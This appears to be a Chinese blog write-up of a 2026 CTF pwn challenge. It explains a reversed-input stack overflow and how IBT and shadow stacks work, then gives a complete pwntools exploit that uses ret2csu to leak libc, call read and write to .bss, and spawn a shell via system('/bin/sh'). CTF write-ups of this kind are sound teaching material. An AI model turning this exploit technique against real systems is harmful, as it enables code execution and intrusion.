747 字
2 分钟
2026方班杯PWN_loginin
2026-04-28
统计加载中...

赛场上问aiai问出来了,但是感觉估计没成绩。。。归根结底还是因为没学到,这期就拿这道模板题来学学原理了。

替换文本
替换文本
替换文本
替换文本
我们可以看到在recv_messagerecv\_message中调用了readreadbufbuf中写入了512512个字节并返回到v6v6上。而我们写入的内容会被翻转(forfor循环倒序遍历bufbuf并赋值给a2+ia2+i的偏移地址),存入a2a2中。所以我们在利用recv_message()recv\_message()这个栈溢出时要倒序写入roprop
expexp中我们构造一个倒序的函数,然后在发送roprop前调用函数倒一下序即可。
替换文本
这里开启了SHSTKSHSTK(影子栈)和IBTIBT(间接分支追踪),所以我们不能用常规的gadgetgadget实现泄露LibcLibc,这里的经典解法是ret2csuret2csu
IBTIBT:编译器在每个可以间接跳转的目标(函数入口和某些跳转表)的指令前面插入一条endr64endr643232位为endbr32endbr32),硬件会维护一个状态机,每次间接跳转时都会检查目标地址第一条指令是否为endr64endr64,如果不是就会终止进程。
影子栈:CPUCPU会额外维护独立的影子栈,存储在不易篡改的内存区域,执行callcall时。返回地址会压入常规栈和影子栈。执行retret时,CPUCPU会比较常规栈的返回地址和影子栈弹出的值。如果匹配就会正常进行,否则就无法正常进行。(本题实际未开启)
而在__libc_csu_init\_\_libc\_csu\_initlibclibc初始化就会调用的一个函数,他有合法的endbr64endbr64
替换文本
接着是csucsu的重头戏:
替换文本
这两段汇编都位于__libc_csu_init\_\_libc\_csu\_init里面,我们看到第一段里,r14,r13,r12r14,r13,r12都分别赋值给了rdx,rsi,edi,rdx,rsi,edi,而这三个寄存器恰恰是我们调用函数时使用的前三个参数存着的寄存器。下面的pop,r14,r13,r12pop, r14,r13,r12又刚好能帮助我们设置这些参数,因此我们能利用这一大串的gadgetgadget来帮我们构造roprop
所以这题的思路就是利用csucsu来泄露writewrite的真实地址计算libclibc的基址。然后算出systemsystem函数的地址,调用/bin/sh/bin/sh
我们按顺序对poppop段的寄存器操作。rbxrbx设置为00(目的是让callcall地址那里的[r15+rbx8][r15 +rbx * 8]变成[r15][r15]方便操作),rbprbp设置为11,绕过下面的循环跳转(比较rbprbprbx+1rbx+1的判断)。r12r13r14r12,r13,r14就分别填入要调用函数的第一二三个参数。(比如打印writewrite()的地址,就按照write(1,write_got,8)write(1,write\_got,8)来分别填入参数),r15r15设置为存有要跳转的函数地址的变量。
这里注意我们还在中间构造了一次read(0,bss_addr,16)read(0,bss\_addr,16)bssbss段(可读可写段)写入/bin/sh/bin/sh,和systemsystem的实际地址。后续我们调用system("/bin/sh")system("/bin/sh")时就可以直接将bssbss段的我们写入的字符串"/bin/sh""/bin/sh"和指向systemsystem地址的指针存入寄存器然后调用。
EXP:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = process('./attachment_patched')
#gdb.attach(p)
elf = ELF('./attachment_patched')
libc = ELF('./libc.so.6')
ret_addr = 0x40101A
CSU_CALL = 0x401340
CSU_POP = 0x40135A
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss = elf.bss() + 0x200
bss_binsh = bss
bss_system = bss + 8
def reverse(payload):
return payload[::-1]
offset = 128 + 8
rop_write = flat([
b'a' * offset,
p64(CSU_POP),
p64(0), p64(1),
p64(1),
p64(write_got),
p64(8),
p64(write_got),
p64(CSU_CALL),
p64(0) * 7,
p64(CSU_POP)
])
rop_read = flat([
p64(0),
p64(1),
p64(0),
p64(bss_binsh),
p64(16),
p64(read_got),
p64(CSU_CALL),
p64(0) * 7,
p64(main_addr)
])
payload1 = reverse(rop_write + rop_read)
p.recvuntil(b'message: ')
p.send(payload1)
p.recv(8)
leaked = p.recv(8)
write_addr = u64(leaked)
libc.address = write_addr - libc.symbols['write']
log.success(f"libc base: {hex(libc.address)}")
system_addr = libc.symbols['system']
log.success(f"system: {hex(system_addr)}")
p.send(b'/bin/sh\x00' + p64(system_addr))
rop_system = flat([
b'a' * offset,
p64(CSU_POP),
p64(0),
p64(1),
p64(bss_binsh),
p64(0),
p64(0),
p64(bss_system),
p64(CSU_CALL),
p64(0) * 7,
])
payload2 = reverse(rop_system)
p.recvuntil(b'message: ')
p.send(payload2)
p.recv(8)
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

2026方班杯PWN_loginin
https://mkrari.cn/posts/fangbanbei2026_pwn_loginin/
作者
Mkrari
发布于
2026-04-28
许可协议
CC BY-NC-SA 4.0